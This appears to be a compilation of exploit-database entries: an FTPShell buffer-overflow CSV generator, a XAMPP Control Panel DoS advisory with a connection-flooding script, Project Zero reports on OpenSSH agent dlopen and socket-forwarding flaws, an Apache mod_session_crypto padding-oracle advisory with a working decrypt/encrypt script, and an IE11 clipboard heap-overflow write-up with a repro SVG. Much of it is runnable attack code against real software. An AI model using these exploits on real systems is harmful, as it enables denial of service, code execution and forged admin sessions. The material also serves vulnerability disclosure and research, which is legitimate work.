ban+='\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60'
ban+='\x20\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d\x2d\x2c\x2e\x2e'
ban+='\x5f\x3b\x2d\x2d\x2d\x3e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x20\x20\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a\x20\x20\x27\x20\x60\x20\x20\x20'
ban+='\x20\x2c\x20\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65\x77'
ban+='\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20\x20\x20\x60\x2e\x5f\x20'
ban+='\x2c\x20\x20\x27\x20\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20'
ban+='\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3b\x20\x2c\x27'
ban+='\x27\x2d\x2c\x3b\x27\x20\x60\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x60\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d'
ban+='\x2d\x60\x20\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x27'
ban+='\x2e\x20\x5f\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20'
ban+='\x7c\x5f\x20\x20\x49\x50\x53\x20\x20\x20\x20\x20\x29\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x20\x7c\x7c\x0d\x0a\x20'
ban+='\n'
ban+='\x53\x75\x6c\x74\x61\x6e\x5f\x41\x6c\x62\x61\x6c\x61\x77\x69\n'
ban+='\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n'
ban+="\x61\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"
print ban
import struct
E = struct.pack("<L",0x00F39658)#JMP to KERNELBA.CloseHandle
#397
EXp="\x41"*397+E
    #E2+'\x90'*1+E1+"\x90"*1+E+'\x90'*1+sc

upfile="Exoploit_ftpshell.csv"
file=open(upfile,"w")
file.write(EXp)
file.close()
print 'done:- {}'.format(upfile)
            
'''
[+] Credits: John Page (hyp3rlinx)

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/XAMPP-CONTROL-PANEL-MEMORY-CORRUPTION-DOS.txt

[+] ISR: ApparitionSec



Vendor:
=====================
www.apachefriends.org




Product:
===================
XAMPP Control Panel


XAMPP is a free and open source cross-platform web server solution stack
package developed by Apache Friends,
consisting mainly of the Apache HTTP Server, MariaDB database, and
interpreters for scripts written in the PHP
and Perl programming languages.



Vulnerability Type:
=====================
Memory Corruption DOS



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

XAMPP Control Panel crashes with access violation when writing junk bytes
into several different ports e.g.

Tested following ports / versions:

(MySQL) 3306 v3.2.2
(Tomcat) 8080 (XAMPP v3.1.0)
(FileZilla) 21
(Mercury Mail) 25 (XAMPP v3.1.0),79,105,106,143.

It is not that XAMPP Control Panel is listening on some port, however
memory corruption and Denial Of Service does
occur when you constantly write junk into, for instance, the MySQL, Tomcat,
FileZilla, Mercury Mail listening ports.


1) Launch XAMPP control panel
2) Run exploit script against some ports like 3306, 79, 105 (Mercury mail)
with Apache running and or Tomcat

Target different services and port combinations to reproduce.

Important to note is that neither MySQL or Apache itself crash, it IS the
XAMPP Control Panel that crashes with Access Violation.


Tested Windows SP1


POC Video:
https://vimeo.com/196938261


Exploit code(s):
===============
'''

import socket

print "XAMPP Control Panel DOS"
print "Discovery: John Page (hyp3rlinx)"
print "ApparitionSec"
print "hyp3rlinx.altervista.org\r\n"

IP = raw_input("[IP]> ")
PORT = raw_input("[PORT]> ")

arr=[]
c=0
while 1:
    try:
        arr.append(socket.create_connection((IP,PORT)))
        arr[c].send("DOOM")
        print "Die!"
        c+=1
    except socket.error:
        print "[+] Done! "
        raw_input()
        break



'''
Disclosure Timeline:
=======================================
Vendor Notification: November 1, 2016
Vendor acknowledgement: November 4, 2016
Vendor released Fix : December 22, 2016
(NO public mention as of the time of this writing)
December 24, 2016  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
'''
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1009

The OpenSSH agent permits its clients to load PKCS11 providers using the commands SSH_AGENTC_ADD_SMARTCARD_KEY and SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED if OpenSSH was compiled with the ENABLE_PKCS11 flag (normally enabled) and the agent isn't locked. For these commands, the client has to specify a provider name. The agent passes this provider name to a subprocess (via ssh-agent.c:process_add_smartcard_key -> ssh-pkcs11-client.c:pkcs11_add_provider -> ssh-pkcs11-client.c:send_msg), and the subprocess receives it and passes it to dlopen() (via ssh-pkcs11-helper.c:process -> ssh-pkcs11-helper.c:process_add -> ssh-pkcs11.c:pkcs11_add_provider -> dlopen). No checks are performed on the provider name, apart from testing whether that provider is already loaded.

This means that, if a user connects to a malicious SSH server with agent forwarding enabled and the malicious server has the ability to place a file with attacker-controlled contents in the victim's filesystem, the SSH server can execute code on the user's machine.

To reproduce the issue, first create a library that executes some command when it is loaded:

$ cat evil_lib.c
#include <stdlib.h>
__attribute__((constructor)) static void run(void) {
  // in case you're loading this via LD_PRELOAD or LD_LIBRARY_PATH,
  // prevent recursion through system()
  unsetenv("LD_PRELOAD");
  unsetenv("LD_LIBRARY_PATH");
  system("id > /tmp/test");
}
$ gcc -shared -o evil_lib.so evil_lib.c -fPIC -Wall

Connect to another machine using "ssh -A". Then, on the remote machine:

$ ssh-add -s [...]/evil_lib.so
Enter passphrase for PKCS#11: [just press enter here]
SSH_AGENT_FAILURE
Could not add card: [...]/evil_lib.so

At this point, the command "id > /tmp/test" has been executed on the machine running the ssh agent:

$ cat /tmp/test
uid=1000(user) gid=1000(user) groups=[...]


Fixed in http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/ssh-agent.c.diff?r1=1.214&r2=1.215&f=h
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1010

This issue affects OpenSSH if privilege separation is disabled (config option
UsePrivilegeSeparation=no). While privilege separation is enabled by default, it
is documented as a hardening option, and therefore disabling it should not
directly make a system vulnerable.

OpenSSH can forward TCP sockets and UNIX domain sockets. If privilege separation
is disabled, then on the server side, the forwarding is handled by a child of
sshd that has root privileges. For TCP server sockets, sshd explicitly checks
whether an attempt is made to bind to a low port (below IPPORT_RESERVED) and, if
so, requires the client to authenticate as root. However, for UNIX domain
sockets, no such security measures are implemented.

This means that, using "ssh -L", an attacker who is permitted to log in as a
normal user over SSH can effectively connect to non-abstract unix domain sockets
with root privileges. On systems that run systemd, this can for example be
exploited by asking systemd to add an LD_PRELOAD environment variable for all
following daemon launches and then asking it to restart cron or so. The attached
exploit demonstrates this - if it is executed on a system with systemd where
the user is allowed to ssh to his own account and where privsep is disabled, it
yields a root shell.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40962.zip
            
'''
Advisory: Padding Oracle in Apache mod_session_crypto

During a penetration test, RedTeam Pentesting discovered a Padding
Oracle vulnerability in mod_session_crypto of the Apache web server.
This vulnerability can be exploited to decrypt the session data and even
encrypt attacker-specified data.


Details
=======

Product: Apache HTTP Server mod_session_crypto
Affected Versions: 2.3 to 2.5
Fixed Versions: 2.4.25
Vulnerability Type: Padding Oracle
Security Risk: high
Vendor URL: https://httpd.apache.org/docs/trunk/mod/mod_session_crypto.html
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-001.txt
Advisory Status: published
CVE: CVE-2016-0736
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0736


Introduction
============

The module mod_session_crypto of the Apache HTTP Server can be used in
conjunction with the modules mod_session and mod_session_cookie to store
session data in an encrypted cookie within the users' browsers. This
avoids server-side session state so that incoming HTTP requests can be
easily distributed amongst a number of application web servers which do
not need to share session state.


More Details
============

The module mod_session_crypto uses symmetric cryptography to encrypt and
decrypt session data and uses mod_session to store the encrypted data in
a cookie (usually called "session") within the user's browser. The
decrypted session is then made available to the application in an
environment variable (in case of a CGI script) or in a custom HTTP
request header. The application can add a custom HTTP response header
(usually "X-Replace-Session") which instructs the HTTP server to replace
the session's content with the value of the header. Detailed
instructions to set up mod_session and mod_session_crypto can be found
in the documentation:
https://httpd.apache.org/docs/2.4/mod/mod_session.html#basicexamples

The module mod_session_crypto is configured to use either 3DES or AES
with various key sizes, defaulting to AES256. Encryption is handled by
the function "encrypt_string":

modules/session/mod_session_crypto.c
------------------------------------------------------------------------
/**
 * Encrypt the string given as per the current config.
 *
 * Returns APR_SUCCESS if successful.
 */
static apr_status_t encrypt_string(request_rec * r, const apr_crypto_t *f,
        session_crypto_dir_conf *dconf, const char *in, char **out)
{
[...]
    apr_crypto_key_t *key = NULL;
[...]
    const unsigned char *iv = NULL;
[...]

    /* use a uuid as a salt value, and prepend it to our result */
    apr_uuid_get(&salt);

[...]

    res = apr_crypto_passphrase(&key, &ivSize, passphrase,
            strlen(passphrase),
            (unsigned char *) (&salt), sizeof(apr_uuid_t),
            *cipher, APR_MODE_CBC, 1, 4096, f, r->pool);

[...]

    res = apr_crypto_block_encrypt_init(&block, &iv, key, &blockSize, r->pool);
[...]
    res = apr_crypto_block_encrypt(&encrypt, &encryptlen, (unsigned char *)in,
            strlen(in), block);
[...]
    res = apr_crypto_block_encrypt_finish(encrypt + encryptlen, &tlen, block);
[...]

    /* prepend the salt and the iv to the result */
    combined = apr_palloc(r->pool, ivSize + encryptlen + sizeof(apr_uuid_t));
    memcpy(combined, &salt, sizeof(apr_uuid_t));
    memcpy(combined + sizeof(apr_uuid_t), iv, ivSize);
    memcpy(combined + sizeof(apr_uuid_t) + ivSize, encrypt, encryptlen);

    /* base64 encode the result */
    base64 = apr_palloc(r->pool, apr_base64_encode_len(ivSize + encryptlen +
                    sizeof(apr_uuid_t) + 1)
            * sizeof(char));
[...]
    return res;
}
------------------------------------------------------------------------

The source code shows that an encryption key is derived from the
configured password and a randomly chosen salt by calling the function
"apr_crypto_passphrase". This function internally uses PBKDF2 to derive
the key. The data is then encrypted and the salt and IV prepended to the
encrypted data. Before returning to the caller, the result is encoded as
base64.

This procedure does not guarantee integrity of the ciphertext, so the
Apache module is unable to detect whether a session sent back to the
server has been tampered with. Depending on the application this often
means that attackers are able to exploit a Padding Oracle vulnerability.
This allows decrypting the session and encrypting arbitrary data chosen
by the attacker.


Proof of Concept
================

The vulnerability can be reproduced as follows. First, the modules
mod_session, mod_session_crypto and mod_session_cookie are enabled and
configured:

------------------------------------------------------------------------
Session On
SessionEnv On
SessionCookieName session path=/
SessionHeader X-Replace-Session
SessionCryptoPassphrase RedTeam
------------------------------------------------------------------------

In addition, CGI scripts are enabled for a folder and the following CGI
script is saved as "status.rb" and is made available to clients:

------------------------------------------------------------------------
#!/usr/bin/env ruby

require 'cgi'

cgi = CGI.new
data = CGI.parse(ENV['HTTP_SESSION'])

if data.has_key? 'username'
        puts
        puts "your username is %s" % data['username']
        exit
end

puts "X-Replace-Session: username=guest&timestamp=" + Time.now.strftime("%s")
puts
puts "not logged in"
------------------------------------------------------------------------

Once the CGI script is correctly set up, the command-line HTTP client curl
can be used to access it:

------------------------------------------------------------------------
$ curl -i http://127.0.0.1:8080/cgi-bin/status.rb
HTTP/1.1 200 OK
Date: Tue, 19 Jan 2016 13:23:19 GMT
Server: Apache/2.4.10 (Ubuntu)
Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
   l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
Cache-Control: no-cache
Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
   l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
Transfer-Encoding: chunked
Content-Type: application/x-ruby

not logged in
------------------------------------------------------------------------

The example shows that a new encrypted cookie with the name "session" is
returned, and the response body contains the text "not logged in".
Calling the script again with the cookie just returned reveals that the
username in the session is set to "guest":

------------------------------------------------------------------------
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU= \
http://127.0.0.1:8080/cgi-bin/status.rb

your username is guest
------------------------------------------------------------------------

Sending a modified cookie ending in "u=" instead of "U=" will invalidate
the padding at the end of the ciphertext, so the session cannot be
decrypted correctly and is therefore not passed to the CGI script, which
returns the text "not logged in" again:

------------------------------------------------------------------------
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRu= \
http://127.0.0.1:8080/cgi-bin/status.rb

not logged in
------------------------------------------------------------------------

This verifies the existence of the Padding Oracle vulnerability. The
Python library[1] python-paddingoracle was then used to implement
decrypting the session by exploiting the Padding Oracle vulnerability.

exploit.py
------------------------------------------------------------------------
'''

from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
import requests

class PadBuster(PaddingOracle):
    def __init__(self, valid_cookie, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.wait = kwargs.get('wait', 2.0)
        self.valid_cookie = valid_cookie

    def oracle(self, data, **kwargs):
        v = b64encode(self.valid_cookie+data)

        response = requests.get('http://127.0.0.1:8080/cgi-bin/status.rb',
                cookies=dict(session=v), stream=False, timeout=5, verify=False)

        if 'username' in response.content:
            logging.debug('No padding exception raised on %r', v)
            return

        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[2:]:
        print 'Usage: [encrypt|decrypt] <session value> <plaintext>'
        sys.exit(1)

    logging.basicConfig(level=logging.WARN)
    mode = sys.argv[1]
    session = b64decode(sys.argv[2])
    padbuster = PadBuster(session)

    if mode == "decrypt":
        cookie = padbuster.decrypt(session[32:], block_size=16, iv=session[16:32])
        print('Decrypted session:\n%r' % cookie)
    elif mode == "encrypt":
        key = session[0:16]
        plaintext = sys.argv[3]

        s = padbuster.encrypt(plaintext, block_size=16)

        data = b64encode(key+s[0:len(s)-16])
        print('Encrypted session:\n%s' % data)
    else:
        print "invalid mode"
        sys.exit(1)

'''
------------------------------------------------------------------------

This Python script can then be used to decrypt the session:

------------------------------------------------------------------------
$ time python exploit.py decrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\
Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=
Decrypted session:
b'username=guest&timestamp=1453282205\r\r\r\r\r\r\r\r\r\r\r\r\r'

real    6m43.088s
user    0m15.464s
sys 0m0.976s
------------------------------------------------------------------------

In this sample application, the username and a timestamp are included in
the session data. The Python script can also be used to encrypt a new
session containing the username "admin":

------------------------------------------------------------------------
$ time python exploit.py encrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\
Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYB\
RU= username=admin

Encrypted session:
sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7zmQ/GLFjF4pcXY

real3m38.002s
users0m8.536s
sys0m0.512s

------------------------------------------------------------------------

Sending this newly encrypted session to the server shows that the
username is now "admin":

------------------------------------------------------------------------
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7\
zmQ/GLFjF4pcXY http://127.0.0.1:8080/cgi-bin/status.rb

your username is admin
------------------------------------------------------------------------


Workaround
==========

Use a different means to store the session, e.g. in a database by using
mod_session_dbd.


Fix
===

Update to Apache HTTP version 2.4.25 (see [2]).


Security Risk
=============

Applications which use mod_session_crypto usually store sensitive values
in the session and rely on an attacker's inability to decrypt or modify
the session. Successful exploitation of the Padding Oracle vulnerability
subverts this mechanism and allows to construct sessions with arbitrary
attacker-specified content. Depending on the application this may
completely subvert the application's security. Therefore, this
vulnerability poses a high risk.


Timeline
========

2016-01-11 Vulnerability identified
2016-01-12 Customer approved disclosure to vendor
2016-01-12 CVE number requested
2016-01-20 Vendor notified
2016-01-22 Vendor confirmed the vulnerability
2016-02-03 Vendor provided patch
2016-02-04 Apache Security Team assigned CVE number
2016-03-03 Requested status update from vendor, no response
2016-05-02 Requested status update from vendor, no response
2016-07-14 Requested status update and roadmap from vendor
2016-07-21 Vendor confirms working on a new released and inquired whether the
           patch fixes the vulnerability
2016-07-22 RedTeam confirms
2016-08-24 Requested status update from vendor
2016-08-29 Vendor states that there is no concrete timeline
2016-12-05 Vendor announces a release
2016-12-20 Vendor released fixed version
2016-12-23 Advisory released


References
==========

[1] https://github.com/mwielgoszewski/python-paddingoracle
[2] http://httpd.apache.org/security/vulnerabilities_24.html


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
'''
            
<!--
Source: http://blog.skylined.nl/20161221001.html

Synopsis

A specially crafted web-page can trigger an out-of-bounds write in Microsoft Internet Explorer 11. Code that handles pasting images from the clipboard uses an incorrect buffer length, which allows writing beyond the boundaries of a heap-based buffer. An attacker able to trigger this vulnerability can execute arbitrary code.

Known affected software, attack vectors and potential mitigations

Microsoft Internet Explorer 11.0.9600.16521

An attacker would need to get a target user to open a specially crafted web-page. In order to trigger the issue, the web-page needs to either programmatically copy/paste an image using Javascript or get the user to do this (for instance by tricking the user into typing keyboard shortcuts such as CTRL+C/CTRL+V) . By default, MSIE prompts the user to allow or disallow programmatically copy/pasting the first time a website tries to do this, so user-interaction is normally required in such cases. Disabling the Allow Programmatic clipboard access setting in Internet Options -> Security Settings -> [Choose a zone] -> Scripting should prevent websites from programmatically copy/pasting an image. Disabling execution of scripts on web-pages altogether will have the same effect. Please note that neither option prevents a website from social engineering the user into typing a keyboard shortcut to copy/paste the image.

Details

When an image is pasted in MSHTML, it gets converted from BMP format to PNG. This is done in the MSHTML!CPaste­Command::Convert­Bitmapto­Png function. This function incorrectly uses the size of the original BMP image to allocate memory for storing the converted PNG image. The PNG image will be smaller than the BMP under most circumstances, but if a specially crafted image leads to the original BMP image being smaller than the converted PNG, the function will write PNG data beyond the bounds of the allocated memory.

Here is some pseudo code that was created by reverse engineering the CPaste­Command::Convert­Bitmapto­Png function, which shows the vulnerability:

Convert­Bitmapto­Png(
  [IN] VOID* po­Bitmap,  UINT u­Bitmap­Size,
  [OUT] VOID** ppo­Png­Image, UINT* pu­Png­Image­Size
) {
  // Convert a BMP formatted image to a PNG formatted image.
  CMem­Stm* po­CMem­Stm;
  IWICStream* po­Wic­Bitmap;
  STATSTG o­Stat­Stg;
  TSmart­Array<unsigned char> po­Png­Image;
  UINT u­Read­Size;
  // Create a CMem­Stm for the PNG image.
  Create­Stream­On­HGlobal(NULL, True, po­CMem­Stm);
  // Create an IWICStream from the BMP image.
  Initialize­From­Memory(po­Bit­Map, u­Bitmap­Size,
      &GUID_­Container­Format­Bmp, &po­Wic­Bitmap)));
  // Write BMP image in IWICStream to PNG image in CMem­Stm
  Write­Wic­Bitmap­To­Stream(po­Wic­Bitmap, &GUID_­Container­Format­Png, po­CMem­Stm);
  // Get size of PNG image in CMem­Stm and save it to the output variable.
  o­CMem­Stm->Stat(&o­Stat­Stg, 0);
  *pu­Png­Image­Size = o­Stat­Stg.cb­Size.Low­Part;
  // Allocate memory for the PNG
  po­Png­Image->New(u­Bitmap­Size);
  // Go to start of PNG image in CMem­Stm
  po­CMem­Stm->Seek(0, STREAM_­SEEK_­SET, NULL, &p­Position­Low);
  // Read PNG image in CMem­Stm to allocated memory.
  po­CMem­Stm->Read(po­Png­Image, *pu­Png­Image­Size, &u­Read­Size);
  // Save location of allocated memory with PNG image to output variable.
  *ppo­Png­Image = po­Png­Image;
}

Notes:

The code uses the wrong size to allocate memory in po­Png­Image->New(u­Bitmap­Size);. Changing this line of code to po­Png­Image->New(*pu­Png­Image­Size); should address the issue.
The PNG image is written to the allocated memory in po­CMem­Stm->Read(po­Png­Image, *pu­Png­Image­Size, &u­Read­Size);. This is where the code can potentially write beyond the boundaries of the allocated memory if u­Bitmap­Size is smaller than *pu­Png­Image­Size.

Repro.svg:
-->

<svg style="width:1px; height: 1px;" xmlns="http://www.w3.org/2000/svg">
  <script>
    window.onload = function () {
      document.design­Mode="on";
      document.exec­Command("Select­All");/*exec*/
      window.get­Selection().collapse­To­End();/*js_­om*/
      document.exec­Command("Copy");/*exec*/
      document.exec­Command("Paste", false);/*exec*/
    }
  </script>
</svg>

<!--
Below are my notes from reversing the code for your viewing pleasure. There are a few flaws/omissions in the parts that are not directly relevant to the bug, as I did not attempt to finish all the details after I figured out enough to determine root cause, exploitability and attack vectors.

MSHTML!CPaste­Command..Convert­Bitmapto­Png.txt
MSHTML!CPaste­Command::Convert­Bitmapto­Png(                                                                                                                       
    VOID* po­Bitmap<ebp+8>,                                                                                                                                      
    UINT u­Bitmap­Size<ebp+c>,                                                                                                                                    
    BYTE[]** ppo­Png­Image<ebp+10>,                                                                                                                               
    UINT* pu­Png­Image­Size<ebp+14>):                                                                                                                            
-50 STATSTG o­Stat­Stg {                                                                                                                                          
  -50 00 04 LPOLESTR       pwcs­Name;                                                                                                                            
  -4C 04 04 DWORD          type;                                                                                                                                
  -48 08 08 ULARGE_­INTEGER cb­Size;                                                                                                                              
  -40 10 08 FILETIME       mtime;                                                                                                                               
  -38 18 08 FILETIME       ctime;                                                                                                                               
  -30 20 08 FILETIME       atime;                                                                                                                               
  -28 28 04 DWORD          grf­Mode;                                                                                                                             
  -24 2C 04 DWORD          grf­Locks­Supported;                                                                                                                   
  -20 30 10 CLSID          clsid;                                                                                                                               
  -10 34 04 DWORD          grf­State­Bits;                                                                                                                        
  -0C 38 04 DWORD          reserved;                                                                                                                            
} size = 3C                                                                                                                                                     
-54 CMem­Stm* po­CMem­Stm                                                                                                                                          
-58 VOID* po­Wic­Bitmap                                                                                                                                           
-5C UCHAR[]* po­Png­Image (TSmart­Array)                                                                                                                                        
-60 UINT u­Read­Size                                                                                                                                              
-64 BYTE[]** ppo­Png­Image                                                                                                                                        
-70 DWORD p­Position­Low // lower DWORD of 64 bit position in stream.                                                                                             
                                                                                                                                                                
6f3818fd 8bff            mov     edi,edi                                                                                                                        
6f3818ff 55              push    ebp                                                                                                                            
6f381900 8bec            mov     ebp,esp                                                                                                                        
6f381902 83ec74          sub     esp,74h                                                                                                                        
6f381905 a13c03436f      mov     eax,dword ptr [MSHTML!__security_­cookie (6f43033c)]                                                                            
6f38190a 33c5            xor     eax,ebp                                                                                                                        
6f38190c 8945fc          mov     dword ptr [ebp-4],eax                                                                                                          
6f38190f 8b4510          mov     eax,dword ptr [ebp+10h]                        ppo­Png­Image<eax> = ppo­Png­Image<stack>                                           
6f381912 8d4dac          lea     ecx,[ebp-54h]                                  &po­CMem­Stm<ecx> = &po­CMem­Stm<stack>                                             
6f381915 53              push    ebx                                            //save reg                                                                      
6f381916 8b5d14          mov     ebx,dword ptr [ebp+14h]                        pu­Png­Image­Size<ebx> = pu­Png­Image­Size<stack>                                     
6f381919 56              push    esi                                            //save reg                                                                      
6f38191a 8b7508          mov     esi,dword ptr [ebp+8]                          po­Bitmap<esi> = po­Bitmap<ebp+8>                                                 
6f38191d 57              push    edi                                            //save reg                                                                      
6f38191e 33ff            xor     edi,edi                                        <edi> = 0                                                                       
6f381920 89459c          mov     dword ptr [ebp-64h],eax                        ppo­Png­Image<stack> = ppo­Png­Image<eax>                                           
6f381923 897da8          mov     dword ptr [ebp-58h],edi                        po­Wic­Bitmap<stack> = 0<edi>                                                     po­Wic­Bitmap = 0
6f381926 897dac          mov     dword ptr [ebp-54h],edi                        po­CMem­Stm<stack> = 0<edi>                                                       po­CMem­Stm = 0
6f381929 e8566827ff      call    6e5f8184                                       p­Smart­Stream­Pointer<eax> = MSHTML!TSmart­Pointer<                                p­Smart­Stream­Pointer = &(TSmart­Pointer<...>(&po­CMem­Stm))
                                                                                  Windows::Foundation::IAsync­Operation<                                         
                                                                                    Windows::Storage::Streams::IRandom­Access­Stream *                            
                                                                                  >                                                                             
                                                                                >::operator&(                                                                   
                                                                                    &po­CMem­Stm)                                                                 
6f38192e 50              push    eax                                            larg3<stack> = p­Smart­Stream­Pointer<eax>                                         
6f38192f 6a01            push    1                                              larg2<stack> = 1                                                                
6f381931 57              push    edi                                            larg1<stack> = 0<edi>                                                           
6f381932 ff1520c0426f    call    dword ptr [6f42c020]                           HRESULT h­Result<eax> = combase!Create­Stream­On­HGlobal(                           if (FAILED(h­Result = combase!Create­Stream­On­HGlobal(NULL, True, p­Smart­Stream­Pointer)))
                                                                                    h­Global = NULL,                                                             
                                                                                    f­Delete­On­Release = True,                                                    
                                                                                    ppstm = p­Smart­Stream­Pointer<eax>);                                          
6f381938 8bf8            mov     edi,eax                                        h­Result<edi> = h­Result<eax>                                                     
6f38193a 85ff            test    edi,edi                                        if (h­Result<edi> < 0)                                                           
6f38193c 0f88b8000000    js      6f3819fa                                           goto exit_­label_1                                                               goto exit_­label_1;
6f381942 8b550c          mov     edx,dword ptr [ebp+0Ch]                        larg1<edx> = u­Bitmap­Size<stack>                                                 
6f381945 8d45a8          lea     eax,[ebp-58h]                                  &po­Wic­Bitmap<eax> = &(po­Wic­Bitmap<stack>)                                       
6f381948 50              push    eax                                            larg3<stack> = &po­Wic­Bitmap<eax>                                                
6f381949 6860147a6e      push    6e7a1460                                       larg2<stack> = &GUID_­Container­Format­Bmp                                         
6f38194e 8bce            mov     ecx,esi                                        larg1<ecx> = po­Bitmap<esi>                                                  
6f381950 e8c8325dff      call    6e954c1d                                       h­Result<eax> = MSHTML!Initialize­From­Memory(                                     if (FAILED(h­Result = Initialize­From­Memory(po­Bit­Map, u­Bitmap­Size, &GUID_­Container­Format­Bmp, &po­Wic­Bitmap)))
                                                                                    po­Bitmap,                                                                   
                                                                                    u­Bitmap­Size,                                                                
                                                                                    &GUID_­Container­Format­Bmp<dll>,                                              
                                                                                    &po­Wic­Bitmap);                                                              
6f381955 8bf8            mov     edi,eax                                        h­Result<edi> = h­Result<eax>                                                     
6f381957 85ff            test    edi,edi                                        if (h­Result < 0)                                                                
6f381959 0f889b000000    js      6f3819fa                                           goto exit_­label_1                                                               goto exit_­label_1;
